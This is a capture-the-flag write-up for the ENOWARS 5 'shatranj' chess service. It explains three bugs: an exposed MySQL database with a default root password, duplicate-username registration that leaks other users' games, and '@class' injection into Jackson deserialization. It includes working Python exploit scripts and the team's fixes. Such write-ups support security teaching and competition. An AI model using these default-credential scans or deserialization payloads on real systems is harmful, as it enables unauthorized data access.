ENOWARS 5 - shatranj
12 July 2021 by Lorenz
shatranj
shatranj is a service, which consists of two parts:
shatranj-server: backend written in Java which heavily relies on the Spring Framework.shatranj-frontend: frontend written in NodeJS. We didn’t look further into it.
Backend
Endpoints
The backend implements two unauthenticated endpoints defined in org.shatranj.diwana.shatranjserver.ShatranjServerController:
- POST
/api/register: Registers a new user. (Who would have guessed)Body:usernameandpassword
- POST
/api/players: This endpoint is not implemented at all.
And some authenticated (only accessible by logged-in users) ones (Authentication is done via Basic access Authentication. Username and Password must match a registered user):
-
POST
/api/initialize: Initialize a new game. (The game is basically chess against a computer. The only difference is you only play with one figure that can move like a queen and a knight and also acts as king)Body:nameof the game (this is a flag store!)Response: Empty
-
POST
/api/move: Perform a move in the current game.Body:messageparsed in a weird way to a DTO (more on that later). Intended to look like"move": "<from><to>", e.g."move": "e1e3".Response: Return value dependent on executed DTO.
-
GET
/api/pastgames: List past games for current user’s username.Response: List of information about all past games of current user’s name (including game’s name).
-
GET
/api/replay/{id}: Gets a replay of a game with givenid.Response: List of all moves and game-states (does not include game’s name).
-
POST
/api/strategynote: Adds a note for the current user.Body: Content of the note. (Again parsed to a DTO in a weird way. This is a flag store!)Response: Created note DTO.
-
GET
/api/strategynote/{id}: Gets a note from the current user with givenid.Response: Note DTO
-
GET
/api/Strategynotes: Gets all notes for the current user.Response: List of note DTOs
Bug 0: Docker misconfiguration (Exposed Database)
When we look at the docker-compose.yml, we can see multiple interesting things:
version: '2.1'
services:
db:
image: mysql
ports:
- 3306
environment:
MYSQL_ROOT_PASSWORD: 123
(...)- The mysql database is exposed publicly (
portsis used instead ofexpose) - The default root password is
123
Using this knowledge, it is easy to read all flags from the database. (It is also possible to change the database password 😉.)
Exploit
from pwn import *
import pymysql
team = 'localhost' # target team
# try some possible ports, this range worked quite well
# if you run the service locally, you can use 'docker ps' to find the port
ports = range(49153, 49170)
for port in ports:
try:
conn = pymysql.connect(
host=team,
user="root",
password="123",
port=port,
database="shatranj",
connect_timeout=1,
read_timeout=1
) # try to connect with default credentials
cur = conn.cursor()
cur.execute(
"SELECT message FROM strategy_note UNION SELECT name FROM game;"
) # select entries from both flag stores (strategy note content and game names)
for row in cur.fetchall():
print(row[0]) # possibly flag
break
except Exception as e:
pass # ignore if we connected to a wrong port or bug was fixedBug 1: Duplicate usernames + /api/pastgames
This bug is pretty simple, yet we took way to long to find it:
When creating a user, there is no check whether a user with this name already exists:
// org.shatranj.diwana.shatranjserver.ShatranjServerController
@PostMapping("/register")
public Map<String, String> register(@Valid @RequestBody UserRegisterDTO userDTO) {
logger.info("Trying to register user " + userDTO.getUsername() + ".");
userService.registerUser(userDTO.getUsername(), userDTO.getPassword());
return Map.ofEntries(Map.entry("message", "Successfully registered User " + userDTO.getUsername() + "."));
}
// org.shatranj.diwana.shatranjserver.services.UserService
public void registerUser(final String username, final String password) {
var user = new User();
user.setUsername(username);
user.setPassword((new CustomBCryptPasswordEncoder()).encode(password));
user.setActive(true);
user.setRoles("USER");
userRepository.save(user);
}and /api/pastgames returns all past games of all users with the same username as ours:
// org.shatranj.diwana.shatranjserver.ShatranjServerController
@RequestMapping("/pastgames")
public List<Game> getPastGames() {
var user = this.getUser();
logger.info("User " + user.getUsername() + "is trying to get his past games.");
return chessService.getGames(user);
}
// org.shatranj.diwana.shatranjserver.services.chess.ChessService
public List<Game> getGames(User user) {
return gameRepository.findAllByActiveAndUserUsername(false, user.getUsername());
}Exploitation
Say a flag-id is abc. Then user abc has a flag stored as name of a past game. To get this flag, we register a new user with the same name (abc) and query /api/pastgames authorized as the new user to get all past games for username abc which will include the flag!
import requests
target = 'localhost' # target team ip
flag_id = 'user_123' # flag id / username
password = 'P455W0R7' # arbitrary
s = requests.session()
s.post(
f'http://{target}:8080/api/register',
json= {'username': flag_id, 'password': password }
) # register user
r = s.get(
f'http://{target}:8080/api/pastgames',
auth = (flag_id, password)
) # get past games
print("\n".join([game["name"] for game in r.json()])) # flags!Fix
The easiest way to fix this issue is to change /api/pastgames to match the full user instead of just the username:
// org.shatranj.diwana.shatranjserver.services.chess.ChessService
public List<Game> getGames(User user) {
/* return gameRepository.findAllByActiveAndUserUsername(false, user.getUsername()); */
return gameRepository.findAllByUser(user);
}Bug 2: Improper DTO de-serialization
Before we look at the bug itself, let’s take a step back and check out the DTOs.
DTOS
There are several DTOs defined:
GameDTO: Game result.boardStatewinnername
MoveDTO: Two moves.whiteMoveblackMoveboardStateBefore
MoveReqDTO: Requested move.move
StrategyNoteDTO: Note.message
StrategyNoteReqDTO: Requested Note.id
UserDTO: User.username
UserRegisterDTO: Register User.usernamepassword
DTO de-serialization: A right way
When we look at the the /api/register endpoint, we can see an example for proper DTO parsing:
// org.shatranj.diwana.shatranjserver.ShatranjServerController
@PostMapping("/register")
public Map<String, String> register(@Valid @RequestBody UserRegisterDTO userDTO) {
logger.info("Trying to register user " + userDTO.getUsername() + ".");
userService.registerUser(userDTO.getUsername(), userDTO.getPassword());
return Map.ofEntries(Map.entry("message", "Successfully registered User " + userDTO.getUsername() + "."));
}This will automagically use the Spring framework to correctly parse a UserRegisterDTO from the Request body.
DTO de-serialization: A wrong way
Now that we saw a right way to do it, let’s look at the /api/move endpoint:
// org.shatranj.diwana.shatranjserver.ShatranjServerController
@PostMapping("/move")
public Object move(@RequestBody String message) throws JsonProcessingException {
var user = this.getUser();
logger.info("User " + user.getUsername() + " is trying to perform a move.");
// removeQuotes removes first and last character, iff input starts end ends with '""'.
message = removeQuotes(message.replace("\\\"", "\""), true);
if (!message.contains("\"move\": ")) {
return Map.ofEntries(
Map.entry("message", "Not a proper chess move"));
}
var input = "{\n" + message + ","
+ "\n\"@class\": \"" + MoveReqDTO.class.getCanonicalName() + "\""
+ "\n" + "}";
return managerService.handleDTOInput(input, user);
}
// org.shatranj.diwana.shatranjserver.services.ManagerService
public Object handleDTOInput(String value, User user) throws JsonProcessingException {
var dto = objectMapper.readValue(value, DTO.class);
if (dto instanceof MoveReqDTO) {
return chessService.makeMove(user, ((MoveReqDTO) dto).getMove());
} else if (dto instanceof StrategyNoteDTO) {
return chessService.saveStrategyNote(user, ((StrategyNoteDTO) dto).getMessage());
} else if (dto instanceof StrategyNoteReqDTO) {
return chessService.getStrategyNote(((StrategyNoteReqDTO) dto).getId());
} else if (dto instanceof UserDTO) {
return userRepository.findAllByUsername(((UserDTO) dto).getUsername())
.stream()
.map(chessService::getStrategyNoteIds)
.flatMap(List::stream)
.collect(Collectors.toList());
} else {
return "Input Error";
}
}move
\"is replaced with"in our message (quotes are un-escaped).- The resulting string is passed to the
removeQuotesmethod which will remove the first and last"if the message starts and ends with"". - After this, it is checked, that the message contains
"move":. (If it does not, the method returns an error.) - A JSON string
inputis created from our message:{message, "@class":"org.shatranj.diwana.shatranjserver.dto.MoveReqDTO"} inputis passed tohandleDTOInput
handleDTOInput
-
Input is parsed as json to DTO.
-
Depending on subclass, different actions are chose.
-
UserDTO: Return ids of all notes for username specified in DTO. StrategyNoteReqDTO: Return content of Note with id specified in DTO. (This might be a flag.)- (…)
-
As the message is attacker controlled (passed as request body) and the first @class field determines the actual class during de-serialization, we can modify the JSON string, such that input will no longer be a serialized MoveReqDTO, but a DTO of our choosing.
To exploit this, we first craft a message that will be de-serialized into UserDTO (username is a flag-id again). From this, we will get the ids of all notes for this user. Then we can craft a StrategyNoteReqDTO to read the content of this note.
Exploit
import requests
target = 'localhost' # target team ip
flag_id = 's' # flag id / username
username = 'S0M3_U53R' # arbitrary
password = 'P455W0R7' # arbitrary
s = requests.session()
s.post(
f'http://{target}:8080/api/register',
json= {'username': username, 'password': password }
) # register user (we need this as /api/move is authenticated)
s.auth = (username, password) # make sure we are authenticated
r = s.post(
f'http://{target}:8080/api/move',
data = f'"@class": "org.shatranj.diwana.shatranjserver.dto.UserDTO", "username":"{flag_id}","move": "aaa"'
) # first "move" --> UserDTO
for id in r.json():
r = s.post(
f'http://{target}:8080/api/move',
data = f'"@class": "org.shatranj.diwana.shatranjserver.dto.StrategyNoteReqDTO", "id":"{id}","move": "aaa"'
) # second "move" --> StrategyNoteReqDTO
print(r.json()["message"]) # may be flag
print(r.text)Fix
The proper way to fix this issue would be handling the input the same way as the /api/register endpoint does.
However, this is our CTF-grade fix:
// org.shatranj.diwana.shatranjserver.ShatranjServerController
private String removeQuotes(String input, boolean checkDouble) {
if(input.contains("@class"))
throw new RuntimeException("Nope!");
// (...)
}